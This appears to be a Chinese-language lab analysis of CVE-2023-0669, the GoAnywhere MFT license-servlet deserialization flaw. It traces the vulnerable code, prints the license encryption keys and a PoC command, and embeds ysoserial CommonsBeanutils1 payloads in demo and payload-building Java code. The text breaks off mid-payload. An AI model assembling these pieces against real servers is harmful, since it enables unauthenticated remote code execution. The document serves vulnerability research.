CVE-2023-0669 GoAnywhere MFT 反序列化
CVE-2023-0669 GoAnywhere MFT 反序列化
参考
yosef0x01/CVE-2023-0669-Analysis (github.com)
漏洞概述
漏洞描述
Fortra(原HelpSystems)GoAnywhere MFT由于反序列化一个任意攻击者控制的对象,在 License Response Servlet 中存在一个预先认证的命令注入漏洞。该问题已在 7.1.2 版本中得到修补。
影响版本
7.1.2 之前,不包括 7.1.2。
官方通告
初步检查
在官方的安全通告里面2023 年 2 月 1 日正式放出关于争对 CVE-2023-0669 的漏洞指南,我们来参考一下。
通告中说查看 userdata/logs
日志中是否有以下字符串:
- Errors containing the text “BundleWorker.unbundle”
- Errors containing the text “/goanywhere/lic/accept”
- Errors containing the text “Error parsing license”
第一个看起来是一个类的位置,第二个应该是 URI 的位置,第三个应该是异常处理输出的信息。
图片:被攻击的日志确实存在以上三个字符串
进一步检查
在进一步检查的步骤中官方给出了这条信息,应该指的是被攻击日志中可能包含的信息。
图片:日志中存在 CommonsBeanutils
利用链的类
补救指导
其中补救指导也有不少信息,它要求无法更新补丁的用户删除掉 web.xml
内的名为 LicenseResponseServlet
的 servlet
的内容。
图片:LicenseResponseServlet
的 servlet
和 mapping
被推荐注释掉(删除掉)
小结
在通告中我们可以大概了解到,这个漏洞可能是一个 CB1 的反序列化漏洞,而且相关的是一个名为 LicenseResponseServlet
,对应 URI 是 /goanywhere/lic/accept
,其他相关类是 BundleWorker.unbundle
。
环境配置
环境如下:
-
Ubuntu 20.04
-
GoAnywhere 7.0.3
我们直接以一个非 Root 用户运行安装脚本,按照引导一步步安装。
端口配置部分会有端口占用提示,自定义一下端口号即可。
安装完成有基本的提示。
访问本地 URL 之后需要我们注册一个账号去申请一个免费的许可。使用匿名邮箱注册一个账号可以获取到7天的许可。点击“激活”即可自动激活了。之后创建新用户之后即可进入控制台。
漏洞复现
使用 PoC 复现:
java -jar CVE-2023-0669.jar -p http://192.168.47.1:8888 -t http://192.168.47.179:8000/ -c "touch /tmp/success_CVE-2023-0669"
图片:使用 PoC 复现成功
可能会因为网络问题无法复现,多尝试几次即可。
分析准备
在分析之前需要准备调试的环境,第一步就是把应用目录下的所有 jar 文件全部提取出来。
执行下面这行命令即可将当前文件夹下的所有 jar 文件复制到目标目录。
find ./ -name *.jar -exec cp {} /home/ubuntu/Desktop/GoAnywhere_jar \;
图片:此版本一共有291个 jar 文件
我们使用 cfr 反编译所有的 jar,以方便我们查找我们需要查找的几个字符串。
使用 cfr 反编译所有 jar 文件:
java -jar .\cfr-0.152.jar E:\Vuln\IDEA_Project\GoAnywhere7_0_3_jar\* --outputdir E:\Vuln\IDEA_Project\GoAnywhere7_0_3_jar_decompile
反编译需要较多内存和时间,在反编译的时候,我随便查看了以下 jar 文件中是否有关键的字符串。
grep -rn "BundleWorker"
搜索出来的应该都是两个类。
静态分析
反序列化
根据上面查找到的两个类,我们先分析 Servlet,也就是 LicenseResponseServlet。
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet
public class LicenseResponseServlet extends HttpServlet {
private static final long serialVersionUID = -441307309120983773L;
private static final Logger LOGGER = LoggerFactory.getLogger(LicenseResponseServlet.class);
public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException {
String string = httpServletRequest.getParameter("bundle");
Response response = null;
try {
response = LicenseAPI.getResponse((String)string);
}
catch (Exception exception) {
LOGGER.error("Error parsing license response", (Throwable)exception); < =-=-=-=-=-=
httpServletResponse.sendError(500);
}
httpServletRequest.getSession().setAttribute("LicenseResponse", (Object)response);
httpServletRequest.getSession().setAttribute("goToOutcome", (Object)"license");
String string2 = httpServletRequest.getScheme() + "://" + httpServletRequest.getServerName() + ":" + httpServletRequest.getServerPort() + "/goanywhere" + "/admin/License.xhtml";
httpServletResponse.sendRedirect(string2);
}
public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException {
this.doPost(httpServletRequest, httpServletResponse);
}
}
一眼就看出来这就是一个 Tomcat 的 Servlet。看到报错处理的那行 Error parsing license response,就是公告中提到的字符串之一。传入的 bundle
经过 LicenseAPI.getResponse()
方法处理之后才会出现上面的异常。在这里查看这个 getResponse 方法。
com.linoma.license.gen2.LicenseController#getResponse
protected static Response getResponse(String base64) throws BundleException, JAXBException {
String version = LicenseController.getVersion(base64);
String xml = BundleWorker.unbundle(base64, LicenseController.getProductKeyConfig(version)); < =-=-=-=-=-=
return (Response)LicenseController.inflate(xml, Response.class);
}
看到了 公告中提到的另外的一个字符串,BundleWorker.unbundle。目前为止可以知道,现在的分析路径是没有问题的。
com.linoma.license.gen2.BundleWorker#unbundle
protected static String unbundle(String base64, KeyConfig keyConfig) throws BundleException {
try {
if (!"1".equals(keyConfig.getVersion())) {
base64 = base64.substring(0, base64.indexOf("$"));
}
byte[] data = BundleWorker.decode(base64.getBytes(CHARSET));
data = BundleWorker.decrypt(data, keyConfig.getVersion());
data = BundleWorker.verify(data, keyConfig); < =-=-=-=-=-=
return new String(BundleWorker.decompress(data), CHARSET);
}
catch ( ...Exception e) {
throw new BundleException(e.getMessage(), e);
...
}
}
com.linoma.license.gen2.BundleWorker#verify
private static byte[] verify(byte[] data, KeyConfig keyConfig) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, InvalidKeyException, SignatureException, UnrecoverableKeyException, CertificateException, KeyStoreException {
try (ObjectInputStream in = null;){
Signature signature;
String algorithm = "SHA1withDSA";
if ("2".equals(keyConfig.getVersion())) {
algorithm = "SHA512withRSA";
}
PublicKey verificationKey = BundleWorker.getPublicKey(keyConfig);
in = new ObjectInputStream(new ByteArrayInputStream(data));
SignedObject signedLicense = (SignedObject)in.readObject(); < =-=-=-=-=-=
boolean verified = signedLicense.verify(verificationKey, signature = Signature.getInstance(algorithm));
if (!verified) {
throw new IOException("Unable to verify signature!");
}
SignedContainer sc = (SignedContainer)signedLicense.getObject();
byte[] byArray = sc.getData();
return byArray;
}
}
看到经典的反序列化 readObject 方法了。
确认漏洞
yso 中写了CB1 的包的版本:
commons-beanutils:1.9.2
commons-collections:3.1
commons-logging:1.2
GoAnywhere 中的版本是:
commons-beanutils-1.9.4.jar
commons-collections-3.2.2.jar
commons-collections4-4.1.jar
commons-logging-1.1.1-521.jar
commons-logging-1.2.jar < =-=-=-=-=-=
对于 CB1 这个反序列化来说 jar 版本对上了 commons-logging-1.2.jar。接下来写个 Demo来确认一下。据上面的分析可知漏洞点在com.linoma.license.gen2.BundleWorker#verify
import com.linoma.commons.file.FileUtilities;
import com.linoma.commons.io.IOUtils;
import com.linoma.license.gen2.BundleException;
import com.linoma.license.gen2.KeyConfig;
import com.linoma.license.gen2.LicenseController;
import org.apache.commons.ssl.Base64;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.SignedObject;
public class Demo {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
try {
//1 com.linoma.license.gen2.BundleWorker#verify
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "calc" |base64
String CB1 = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh\n" +
"cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9u\n" +
"cy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwA\n" +
"CHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNv\n" +
"bGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQA\n" +
"EG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVy\n" +
"bmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkA\n" +
"Dl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5n\n" +
"L0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJv\n" +
"cGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOAC\n" +
"AAB4cAAABprK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEA\n" +
"DUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJl\n" +
"clRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQB\n" +
"AAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJh\n" +
"bnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2lu\n" +
"dGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFs\n" +
"aXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2Fw\n" +
"YWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3Jn\n" +
"L2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApF\n" +
"eGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv\n" +
"RE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7\n" +
"TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9u\n" +
"SGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwv\n" +
"ZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv\n" +
"aW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAM\n" +
"R2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0\n" +
"dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNs\n" +
"dGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20v\n" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95\n" +
"c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVu\n" +
"dGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAE\n" +
"Y2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsM\n" +
"ADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjQzNTEzNDMyMjMxMjU2\n" +
"MQEAIEx5c29zZXJpYWwvUHduZXI0MzUxMzQzMjIzMTI1NjE7ACEAAgADAAEABAABABoABQAGAAEA\n" +
"BwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAA\n" +
"DAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAA\n" +
"IAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJ\n" +
"AAAABAAAAAGxAAAAAgANAAAABgABAAAANwAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAAB\n" +
"ABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8S\n" +
"MbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+\n" +
"ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRW\n" +
"YWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJM\n" +
"b2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3Nlcmlh\n" +
"bC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEM\n" +
"AAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5n\n" +
"L09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwv\n" +
"R2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAA\n" +
"AAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAK\n" +
"AAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=";
byte[] payloadByte = Base64.decodeBase64(CB1);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(payloadByte));
in.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}
在项目中弹出计算器说明 jar 中有反序列化漏洞。后面我们需要去看如何反射调用 GoAnywhere 中的方法去做反序列化命令执行。
分析小结
com.linoma.license.gen2.BundleWorker#verify 在使用ObjectInputStream
进行对象反序列化时,没有对输入流进行过滤或者校验,可能导致攻击者注入恶意对象从而执行任意代码。
URI
在 /adminroot/WEB-INF/web.xml
中已经有了 Servlet 和 URI 的对应关系:
<servlet-mapping>
<servlet-name>License Response Servlet</servlet-name>
<url-pattern>/lic/accept</url-pattern>
</servlet-mapping>
我们直接访问这个路径 /goanywhere/lic/accept
,无论是否登陆管理员账户,在 /GoAnywhere/tomcat/logs
里面都有一条相同的报错
Apr 02, 2023 7:34:58 PM org.apache.catalina.core.StandardWrapperValve invoke
SEVERE: Servlet.service() for servlet [License Response Servlet] in context with path [/goanywhere] threw exception
java.lang.IllegalStateException: Cannot call sendRedirect() after the response has been committed
at org.apache.catalina.connector.ResponseFacade.sendRedirect(ResponseFacade.java:488)
at com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost(LicenseResponseServlet.java:70)
at com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doGet(LicenseResponseServlet.java:78)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:655)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at com.linoma.dpa.security.SecurityFilter.doFilter(SecurityFilter.java:292)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at com.linoma.dpa.security.SecurityHeaderFilter.doFilter(SecurityHeaderFilter.java:115)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at com.linoma.ga.ui.core.filter.IFrameEmbeddingFilter.doFilter(IFrameEmbeddingFilter.java:95)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at com.linoma.ga.ui.core.filter.NoCacheFilter.doFilter(NoCacheFilter.java:49)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at com.linoma.ga.ui.core.filter.IECompatibilityModeFilter.doFilter(IECompatibilityModeFilter.java:63)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at com.linoma.dpa.j2ee.AdminRedirectFilter.doFilter(AdminRedirectFilter.java:52)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at com.linoma.ga.ui.core.filter.XForwardedForFilter.doFilter(XForwardedForFilter.java:60)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:382)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1726)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:748)
可以直接看到这个调用链了,一直到 LicenseResponseServlet.doPost
。也就是说 URI 对应的 Servlet 是 LicenseResponseServlet
。但是 URI 为什么是/goanywhere/lic/accept
而不是 /lic/accept
。
分析上面这个问题之前,我们还没有对之前反编译出来的 java 文件查找,一查就找到了。
$ grep -rn "/goanywhere" |grep "/lic/accept"
GoAnywhere7_0_3_jar_decompile/com/linoma/ga/core/license/ProductLicenseController.java:575: String string3 = string + "/goanywhere" + "/lic/accept";
显示在 ProductLicenseController.java
文件中有相关的内容。
com.linoma.ga.core.license.ProductLicenseController#mapRelay
private static RelayXMLType mapRelay(String string, String string2) {
RelayXMLType relayXMLType = new RelayXMLType();
String string3 = string + "/goanywhere" + "/lic/accept";
String string4 = string + "/goanywhere" + string2;
relayXMLType.setProcess(string3);
relayXMLType.setCancel(string4);
return relayXMLType;
}
这里似乎是一个 mapping 的中继,恰好是公告中的 URI。
加解密过程
com.linoma.license.gen2.BundleWorker#encrypt
private static byte[] encrypt(byte[] bytes, String version) throws CryptoException {
LicenseEncryptor e = LicenseEncryptor.getInstance();
return e.encrypt(bytes, version);
}
com.linoma.license.gen2.LicenseEncryptor
package com.linoma.license.gen2;
import com.linoma.commons.crypto.CryptoException;
import com.linoma.commons.crypto.Encryptor;
import com.linoma.commons.crypto.StandardEncryptionEngine;
import java.security.spec.KeySpec;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
public class LicenseEncryptor {
public static final String VERSION_1 = "1";
public static final String VERSION_2 = "2";
private static final byte[] IV = new byte[]{65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100};
private static final String KEY_ALGORITHM = "AES";
private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";
private boolean initialized;
private Encryptor encryptor;
private Encryptor encryptorV2;
private LicenseEncryptor() {
this.initialized = false;
this.encryptor = null;
this.encryptorV2 = null;
}
public static LicenseEncryptor getInstance() {
return LicenseEncryptor.LicenseEncryptorHolder.INSTANCE;
}
// 加密方法
public byte[] encrypt(byte[] value, String version) throws CryptoException {
if (!this.initialized) {
throw new IllegalStateException("The AESEncryptor has not been initialized");
} else if ("1".equals(version)) {
if (this.encryptor == null) {
throw new CryptoException("License Encryptor version 1 not available in FIPS mode.");
} else {
return this.encryptor.encryptFromBytes(value);
}
} else {
return this.encryptorV2.encryptFromBytes(value);
}
}
public byte[] decrypt(byte[] encrypted, String version) throws CryptoException {
if (!this.initialized) {
throw new IllegalStateException("The License Encryptor has not been initialized");
} else if ("1".equals(version)) {
if (this.encryptor == null) {
throw new CryptoException("License Encryptor version 1 not available in FIPS mode.");
} else {
return this.encryptor.decryptToBytes(encrypted);
}
} else {
return this.encryptorV2.decryptToBytes(encrypted);
}
}
// 初始化 LicenseEncryptor 的 this.encryptor
public void initialize(boolean fipsMode) throws Exception {
if (!fipsMode) {
this.encryptor = new Encryptor(new StandardEncryptionEngine(this.getInitializationValue(), IV, "AES", "AES/CBC/PKCS5Padding"));
}
this.encryptorV2 = new Encryptor(new StandardEncryptionEngine(this.getInitializationValueV2(), IV, "AES", "AES/CBC/PKCS5Padding"));
this.initialized = true;
}
//
private byte[] getInitializationValue() throws Exception {
byte[] param1 = new byte[]{103, 111, 64, 110, 121, 119, 104, 101, 114, 101, 76, 105, 99, 101, 110, 115, 101, 80, 64, 36, 36, 119, 114, 100};
byte[] param2 = new byte[]{-19, 45, -32, -73, 65, 123, -7, 85};
int param3 = 9535;
int param4 = 256;
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
KeySpec spec = new PBEKeySpec((new String(param1, "UTF-8")).toCharArray(), param2, param3, param4);
SecretKey tmp = factory.generateSecret(spec);
return tmp.getEncoded();
}
private byte[] getInitializationValueV2() throws Exception {
byte[] param1 = new byte[]{112, 70, 82, 103, 114, 79, 77, 104, 97, 117, 117, 115, 89, 50, 90, 68, 83, 104, 84, 115, 113, 113, 50, 111, 90, 88, 75, 116, 111, 87, 55, 82};
byte[] param2 = new byte[]{99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73};
int param3 = 3392;
int param4 = 256;
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
KeySpec spec = new PBEKeySpec((new String(param1, "UTF-8")).toCharArray(), param2, param3, param4);
SecretKey tmp = factory.generateSecret(spec);
return tmp.getEncoded();
}
private static class LicenseEncryptorHolder {
public static final LicenseEncryptor INSTANCE = new LicenseEncryptor();
private LicenseEncryptorHolder() {
}
}
}
com.linoma.commons.crypto.Encryptor#decryptToBytes
public byte[] decryptToBytes(byte[] encryptedBytes) throws CryptoException {
return this.engine.decrypt(encryptedBytes);
}
最后加密返回的地方
com.linoma.commons.crypto.StandardEncryptionEngine#encrypt
public byte[] encrypt(byte[] bytes) throws CryptoException {
synchronized(this.encryptionCipher) {
byte[] var10000;
try {
var10000 = this.encryptionCipher.doFinal(bytes);
} catch (Throwable var5) {
throw new CryptoException(var5.getMessage(), var5);
}
return var10000;
}
}
加密完成之后使用一次 Base64 编码。
构造 Payload
import com.linoma.commons.crypto.StandardEncryptionEngine;
import org.apache.commons.ssl.Base64;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Constructor;
import java.security.spec.KeySpec;
public class Gen {
public static void main(String[] args) throws ClassNotFoundException {
try{
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" |base64
String CB1 = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqjK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASdG91